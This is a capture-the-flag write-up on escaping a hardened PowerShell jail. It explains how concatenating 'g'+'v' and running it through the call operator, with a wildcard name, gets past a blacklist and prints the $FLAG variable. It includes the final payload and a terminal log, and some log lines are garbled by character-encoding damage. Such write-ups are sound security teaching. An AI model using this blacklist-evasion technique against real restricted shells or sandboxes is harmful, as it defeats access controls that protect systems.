

CTF Writeup: JailPS — Safeps

Bypassing a Hardened PowerShell Jail

Author: Senpai

Category: Misc / PowerShell Jail

Points: 451

Goal: Bypass a "hardened" PowerShell environment to read the \$FLAG variable.

Flag: SK-CERT{1_l0v3_p0w45h3LLz_h0P3_u2}

1. Analysis

The challenge provides a .ps1 script that acts as a restricted shell. It uses a massive blacklist of cmdlets, aliases, and dangerous characters.

Key Restrictions:

- **String Filtering:** Blocks "flag", "get-variable", "gv", "ls", "dir", "gci", and even the flag prefix "sk".
- **Character Filtering:** Blocks \$, ., _, {, }, [,], and =.
- **Length Limit:** Input must be under 60 characters.

The Vulnerability:

The echo command logic allows for execution if the input isn't wrapped in quotes:

```
$sb = [ScriptBlock]::Create($exprTrimmed)
$result = & $sb
```

This means if we can pass a string that doesn't trigger the regex but evaluates to a command inside the ScriptBlock, we get full execution.

2. Exploitation Strategy

Standard variable access (\$FLAG) and cmdlets (Get -Variable) were blocked by the literal string filter. However, the filter only checked the raw input before execution.

By using string concatenation and the Call Operator (&), we can reconstruct a forbidden command at runtime:

- **Command Reconstruction:** "g"+"v" evaluates to gv (the alias for Get-Variable).
- **Wildcard Bypass:** Using F* instead of FLAG avoids the "flag" and "sk" string filters.
- **Execution:** Wrapping the logic in parentheses () ensures it evaluates as a single expression.

3. Final Payload

```
echo (&("g"+"v") "F*")
```

4. Exploit in Action

The screenshot below shows the iterative attempts to bypass the jail filters, culminating in the successful payload that revealed the FLAG variable:

```
Nope.
echo (Get-Varia* -Name F*)
echo (Get-Varia* -Name F*)
Nope.
echo (Get-Varia*)
echo (Get-Varia*)
Nope.
echo ([char]::ConvertFromUtf32(70))
echo ([char]::ConvertFromUtf32(70))
Nope.
echo (Get-Command -Name G*e-V*e)
echo (Get-Command -Name G*e-V*e)
Nope.
echo (ÿ(??t-V??????) *)
echo (ÿ(??t-V??????) *)
Nope.
echo ( "Get-Varia" + "ble" )
echo ( "Get-Varia" + "ble" )
Nope.
echo (Get-Date)
echo (Get-Date)
Nope.
echo ("g" + "v" + " F*")
echo ("g" + "v" + " F*")
gv F*

echo (V*:*)
echo (V*:*)
Error: The term 'V*:*' is not recognized as a name of a cmdlet, function, script file, or executable program.
Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
echo (ÿ("g"+"v") "F*")
echo (ÿ("g"+"v") "F*")

Name                               Value
-----
false                             False
first                             echo
FLAG                              SK-CERT{1_l0v3_p0w45h3LLz_h0P3_u2}
foreach
FormatEnumerationLimit            4
```

Terminal output showing failed attempts and the successful exploit retrieving FLAG.

5. Flag

```
SK-CERT{1_l0v3_p0w45h3LLz_h0P3_u2}
```